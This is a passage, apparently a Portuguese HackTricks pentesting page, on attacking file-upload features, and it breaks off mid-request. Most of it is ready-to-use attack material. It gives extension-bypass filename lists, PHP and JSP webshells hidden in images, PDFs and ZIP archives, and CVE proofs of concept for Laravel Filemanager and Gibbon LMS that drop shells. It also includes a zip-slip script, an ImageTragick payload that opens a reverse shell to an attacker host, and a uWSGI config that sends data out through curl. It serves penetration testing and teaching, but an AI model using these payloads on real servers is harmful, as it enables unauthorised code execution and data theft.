Upload de Arquivos

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

File Upload General Methodology

Outras extensões úteis:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass de verificações de extensões de arquivo

  1. Se aplicarem, verifique as extensões anteriores. Teste-as também usando algumas letras maiúsculas: pHp, .pHP5, .PhAr …
  2. Verifique adicionando uma extensão válida antes da extensão executável (use as extensões anteriores também):
  • file.png.php
  • file.png.Php5
  1. Tente adicionar caracteres especiais no final. Você pode usar Burp para bruteforce todos os caracteres ascii e Unicode. (Note que você também pode tentar usar as extensões mencionadas anteriormente)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Tente burlar as proteções enganando o parser de extensão no lado do servidor com técnicas como duplicar a extensão ou adicionar junk data (bytes null) entre extensões. Você também pode usar as extensões anteriores para preparar um payload melhor.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Adicione outra camada de extensões ao check anterior:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Tente colocar a extensão executável antes da extensão válida e torça para o servidor estar mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão .php, mas não necessariamente terminando em .php, executará código):
  • ex: file.php.png
  1. Usando NTFS alternate data stream (ADS) no Windows. Nesse caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um arquivo vazio com a extensão proibida será criado no servidor (ex.: “file.asax:.jpg”). Esse arquivo pode ser editado depois usando outras técnicas, como usar seu short filename. O padrão “::$data” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere ponto após esse padrão também pode ser útil para burlar restrições adicionais (ex.: “file.asp::$data.”)
  2. Tente exceder os limites de nome de arquivo. A extensão válida é truncada. E o PHP malicioso permanece. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Alguns handlers de upload cortam ou normalizam caracteres de ponto finais do nome do arquivo salvo. No UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) em versões anteriores à 2.9.1, você pode burlar a validação de extensão:

  • Usando um MIME e header mágico de imagem válidos (por exemplo, o \x89PNG\r\n\x1a\n do PNG).
  • Nomenando o arquivo enviado com uma extensão PHP seguida de um ponto, por exemplo, shell.php..
  • O servidor remove o ponto final e persiste shell.php, que será executado se for colocado em um diretório servido pela web (armazenamento público padrão como /storage/files/).

Minimal PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Em seguida, acesse o caminho salvo (típico em Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Contornar Content-Type, Magic Number, Compressão e Redimensionamento

  • Contornar verificações de Content-Type definindo o valor do header Content-Type para: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Contornar a verificação de magic number adicionando no início do arquivo os bytes de uma imagem real (confundir o comando file). Ou introduza o shell dentro dos metadados:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ ou você também pode introduzir o payload diretamente em uma imagem:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Se compressão estiver sendo aplicada à sua imagem, por exemplo usando algumas bibliotecas PHP padrão como PHP-GD, as técnicas anteriores não serão úteis. No entanto, você pode usar o PLTE chunk technique defined here para inserir algum texto que sobreviva à compressão.
  • Github with the code
  • A página web também pode estar redimensionando a imagem, usando por exemplo as funções PHP-GD imagecopyresized ou imagecopyresampled. Entretanto, você pode usar o IDAT chunk technique defined here para inserir algum texto que sobreviva à compressão.
  • Github with the code
  • Outra técnica para criar um payload que sobrevive a um redimensionamento de imagem, usando a função PHP-GD thumbnailImage. Entretanto, você pode usar o tEXt chunk technique defined here para inserir algum texto que sobreviva à compressão.
  • Github with the code

Outros truques para verificar

  • Procure uma vulnerabilidade para renomear o arquivo já enviado (para mudar a extensão).
  • Encontre uma vulnerabilidade de Local File Inclusion para executar o backdoor.
  • Possible Information disclosure:
  1. Envie várias vezes (e ao mesmo tempo) o mesmo arquivo com o mesmo nome
  2. Envie um arquivo com o nome de um arquivo ou pasta que já existe
  3. Enviar um arquivo com “.” , “..”, ou “…” como nome. Por exemplo, no Apache em Windows, se a aplicação salva os arquivos enviados no diretório “/www/uploads/” a filename “.” criará um arquivo chamado uploads” no diretório “/www/”.
  4. Envie um arquivo que pode não ser facilmente deletado, como “…:.jpg” em NTFS. (Windows)
  5. Envie um arquivo no Windows com caracteres inválidos como |<>*?” no nome. (Windows)
  6. Envie um arquivo no Windows usando nomes reservados (proibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Tente também enviar um executável (.exe) ou um .html (menos suspeito) que executará código quando aberto acidentalmente pela vítima.

Truques com extensões especiais

Se você está tentando enviar arquivos para um servidor PHP, take a look at the .htaccess trick to execute code.
Se você está tentando enviar arquivos para um servidor ASP, take a look at the .config trick to execute code.

Os arquivos .phar são como os .jar para java, mas para php, e podem ser usados como um arquivo php (executando-o com php, ou incluindo-o dentro de um script…)

A extensão .inc às vezes é usada para arquivos php que são usados apenas para importar arquivos, então, em algum ponto, alguém pode ter permitido que esta extensão seja executada.

Jetty RCE

Se você puder enviar um arquivo XML para um servidor Jetty você pode obter RCE because **new .xml and .war are automatically processed. Portanto, como mencionado na imagem a seguir, envie o arquivo XML para $JETTY_BASE/webapps/ e espere a shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate “magic” variables, placeholders, and operators. Notably, the ‘@’ operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the “exec” scheme is particularly potent, allowing the reading of data from a process’s standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.

Considere o seguinte exemplo de um arquivo uwsgi.ini malicioso, mostrando vários esquemas:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um Denial of Service attack) ou o arquivo deve estar configurado para auto-reload. O recurso de auto-reload, se habilitado, recarrega o arquivo em intervalos especificados ao detectar alterações.

É crucial entender a natureza permissiva do parsing do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Endpoint não autenticado em Gibbon LMS permite gravação arbitrária de arquivo dentro do web root, levando a pre-auth RCE ao gravar um arquivo PHP. Versões vulneráveis: até e incluindo 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Método: POST
  • Parâmetros requeridos:
  • img: data-URI-like string: [mime];[name],[base64] (o servidor ignora type/name, decodifica em base64 a parte final)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

PoC mínimo para escrever e ler de volta um arquivo:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Implante um webshell mínimo e execute comandos:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notes:

  • O handler performs base64_decode($_POST["img"]) after splitting by ; and ,, then escreve bytes em $absolutePath . '/' . $_POST['path'] sem validar extensão/tipo.
  • O código resultante é executado como o usuário do serviço web (ex.: XAMPP Apache on Windows).

Referências para este bug incluem o advisory do usd HeroLab e a entrada NVD. Veja a seção References abaixo.

wget File Upload/SSRF Trick

Em algumas ocasiões você pode encontrar que um servidor está usando wget para download de arquivos e você pode indicar a URL. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que apenas arquivos permitidos serão baixados. Entretanto, essa verificação pode ser burlada.
O comprimento máximo de um filename em linux é 255, no entanto, o wget trunca os nomes de arquivo para 236 caracteres. Você pode baixar um arquivo chamado “A”*232+“.php”+“.gif”, esse nome de arquivo irá burlar a verificação (como neste exemplo “.gif” é uma extensão válida) mas wget irá renomear o arquivo para “A”*232+“.php”.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Observe que outra opção que você pode estar considerando para contornar essa verificação é fazer com que o servidor HTTP redirecione para um arquivo diferente, então a URL inicial irá passar pela verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso não vai funcionar a menos que o wget esteja sendo usado com o parâmetro --trust-server-names porque o wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original.

Escapando o diretório de upload via NTFS junctions (Windows)

(Para este ataque você precisará de acesso local à máquina Windows) Quando os uploads são armazenados em subpastas por usuário no Windows (e.g., C:\Windows\Tasks\Uploads<id>) e você controla a criação/remoção dessa subpasta, você pode substituí-la por uma directory junction apontando para um local sensível (e.g., o webroot). Uploads subsequentes serão gravados no caminho alvo, permitindo execução de código se o alvo interpretar server‑side code.

Exemplo de fluxo para redirecionar uploads para o webroot do XAMPP:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Notas

  • mklink /J cria uma junction de diretório NTFS (reparse point). A conta do servidor web deve seguir a junction e ter permissão de escrita no destino.
  • Isso redireciona gravações arbitrárias de arquivos; se o destino executar scripts (PHP/ASP), isso se torna RCE.
  • Defesas: não permita que roots de upload graváveis sejam controláveis pelo atacante sob C:\Windows\Tasks ou similar; bloqueie a criação de junctions; valide extensões no servidor; armazene uploads em um volume separado ou com ACLs deny‑execute.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Alguns handlers de upload/ingest escrevem o corpo bruto da requisição em um caminho do filesystem que é construído a partir de query parameters controlados pelo usuário. Se o handler também suporta Content-Encoding: gzip e falha ao canonicalizar/validar o caminho de destino, você pode combinar path traversal com um payload gzipado para escrever bytes arbitrários em um diretório servido pela web e obter RCE (por exemplo, dropar um JSP em webapps do Tomcat).

Fluxo genérico de exploração:

  • Prepare seu payload server-side (ex.: minimal JSP webshell) e gzip-comprima os bytes.
  • Envie um POST onde um parâmetro de path (ex.: token) contenha traversal escapando a pasta pretendida, e file indique o nome do arquivo a ser persistido. Defina Content-Type: application/octet-stream e Content-Encoding: gzip; o body é o payload comprimido.
  • Acesse o arquivo escrito para disparar a execução.

Requisição ilustrativa:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Então acione:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Notas

  • Os caminhos alvo variam conforme a instalação (p.ex., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Qualquer pasta exposta na web que execute JSP funcionará.
  • A extensão Hackvertor do Burp Suite pode produzir um corpo gzip correto a partir do seu payload.
  • Isto é um pre-auth arbitrary file write → RCE pattern puro; não depende de multipart parsing.

Mitigações

  • Determine os destinos de upload no lado do servidor; nunca confie em path fragments vindos dos clientes.
  • Canonicalize e garanta que o caminho resolvido permaneça dentro de um diretório base allow-listed.
  • Armazene uploads em um volume não-executável e negue a execução de scripts a partir de caminhos graváveis.

Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)

Serviços de upload baseados em Axis2 às vezes expõem uma ação SOAP uploadFile que recebe três campos controlados pelo atacante: jobDirectory (diretório de destino), archiveName (nome do arquivo) e dataHandler (conteúdo do arquivo em base64). Se jobDirectory não for canonicalized, você obtém arbitrary file write via path traversal e pode colocar um JSP em Tomcat’s webapps.

Minimal request outline (default creds often work: admin / trubiquity):

POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
  • Bindings são frequentemente apenas localhost; combine com um full-read SSRF (absolute-URL request line, Host header ignored) para alcançar 127.0.0.1 se a porta do Axis2 não estiver exposta.
  • Depois de escrever, acesse /trufusionPortal/jsp/shell.jsp?cmd=id para executar.

Ferramentas

  • Upload Bypass é uma ferramenta poderosa projetada para ajudar Pentesters e Bug Hunters a testar file upload mechanisms. Ela aproveita várias bug bounty techniques para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de web applications.

Corrupting upload indices with snprintf quirks (historical)

Alguns legacy upload handlers que usam snprintf() ou similar para construir multi-file arrays a partir de um single-file upload podem ser enganados a forjar a estrutura _FILES. Devido a inconsistências e truncamento no comportamento de snprintf(), um upload único cuidadosamente construído pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume uma forma rígida (por exemplo, tratando-o como um multi-file upload e seguindo branches inseguros). Embora seja niche hoje, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e bases de código mais antigas.

De upload de arquivos para outras vulnerabilidades

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Faça upload de um arquivo contendo soft links para outros arquivos; ao acessar os arquivos descomprimidos você acessará os arquivos vinculados:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Descompactar em pastas diferentes

A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra OS-level command execution por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo.

Um exploit automatizado para criar tais arquivos está disponível em evilarc on GitHub. O utilitário pode ser usado como mostrado:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Além disso, o symlink trick with evilarc é uma opção. Se o objetivo for direcionar um arquivo como /flag.txt, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que evilarc não encontre erros durante sua operação.

Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

Para mais detalhes check the original post in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: O código PHP é escrito para executar comandos passados através da variável $_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Vários arquivos são criados e um arquivo zip é montado contendo esses arquivos.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Os nomes dos arquivos dentro do zip são alterados usando vi ou um hex editor, trocando “xxA” por “../” para percorrer diretórios.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

When a backend validates ZIP entries using PHP’s ZipArchive but extraction writes to the filesystem using raw names, you can smuggle a disallowed extension by inserting a NUL (0x00) into the filename fields. ZipArchive treats the entry name as a C‑string and truncates at the first NUL; the filesystem writes the full name, dropping everything after the NUL.

High-level flow:

  • Prepare a legitimate container file (e.g., a valid PDF) that embeds a tiny PHP stub in a stream so the magic/MIME stays a PDF.
  • Name it like shell.php..pdf, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first . after .php with 0x00, resulting in shell.php\x00.pdf.
  • Validators that rely on ZipArchive will “see” shell.php .pdf and allow it; the extractor writes shell.php to disk, leading to RCE if the upload folder is executable.

Passos mínimos do PoC:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Notas

  • Altere AMBAS as ocorrências do filename (local and central directory). Algumas ferramentas adicionam também uma entrada extra data descriptor – ajuste todos os campos de name se presentes.
  • O arquivo payload ainda deve passar pelo server‑side magic/MIME sniffing. Embutir o PHP em um PDF stream mantém o header válido.
  • Funciona quando o enum/validation path e o extraction/write path discordam no tratamento de strings.

Stacked/concatenated ZIPs (parser disagreement)

Concatenar dois arquivos ZIP válidos produz um blob onde diferentes parsers focalizam diferentes EOCD records. Muitas ferramentas localizam o último End Of Central Directory (EOCD), enquanto algumas bibliotecas (e.g., ZipArchive em fluxos de trabalho específicos) podem analisar o primeiro archive que encontram. Se a validação enumera o primeiro archive e a extração usa outra ferramenta que respeita o último EOCD, um archive benigno pode passar nas verificações enquanto um malicioso é extraído.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Padrão de abuso

  • Crie um arquivo benigno (tipo permitido, e.g., um PDF) e um segundo arquivo contendo uma extensão bloqueada (e.g., shell.php).
  • Concatene-os: cat benign.zip evil.zip > combined.zip.
  • Se o server valida com um parser (vê benign.zip) mas extrai com outro (processa evil.zip), o arquivo bloqueado é colocado no extraction path.

ImageTragic

Envie este conteúdo com uma extensão de imagem para exploit a vulnerabilidade (ImageMagick , 7.0.1-1) (form the exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Inserindo PHP Shell em PNG

Inserir um PHP shell no IDAT chunk de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções imagecopyresized e imagecopyresampled do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionamento e reamostragem de imagens, respectivamente. A capacidade do PHP shell embutido de permanecer inalterado por essas operações é uma vantagem significativa para determinados casos de uso.

Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: “Encoding Web Shells in PNG IDAT chunks”. Este recurso oferece uma compreensão abrangente do processo e de suas implicações.

Mais informações em: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot files servem como uma ferramenta única em segurança cibernética, atuando como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um GIFAR, um híbrido que funciona tanto como GIF quanto como um arquivo RAR. Esses arquivos não se limitam a esse pareamento; combinações como GIF e JS ou PPT e JS também são viáveis.

A utilidade central dos polyglot files reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco representado por formatos potencialmente perigosos (por exemplo, JS, PHP ou arquivos Phar). No entanto, um polyglot, por conformar-se aos critérios estruturais de múltiplos tipos de arquivo, pode contornar discretamente essas restrições.

A despeito de sua adaptabilidade, polyglots encontram limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir seu upload.

Mais informações em: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from this blog post):

  • mmmagic library: Contanto que os bytes mágicos %PDF estejam nos primeiros 1024 bytes, é válido (veja exemplo no post)
  • pdflib library: Adicione um formato PDF falso dentro de um campo do JSON para que a library pense que é um pdf (veja exemplo no post)
  • file binary: Ele pode ler até 1048576 bytes de um arquivo. Simplesmente crie um JSON maior que isso para que ele não consiga parsear o conteúdo como um JSON e então, dentro do JSON, coloque a parte inicial de um PDF real e ele vai pensar que é um PDF

Content-Type confusion to arbitrary file read

Alguns manipuladores de upload confiam no corpo de requisição parseado (e.g., context.getBodyData().files) e depois copiam o arquivo de file.filepath sem primeiro forçar Content-Type: multipart/form-data. Se o servidor aceita application/json, você pode fornecer um objeto files falso apontando filepath para qualquer caminho local, transformando o fluxo de upload em um primitivo de leitura arbitrária de arquivos.

Exemplo POST contra um form workflow retornando o binário enviado na resposta HTTP:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
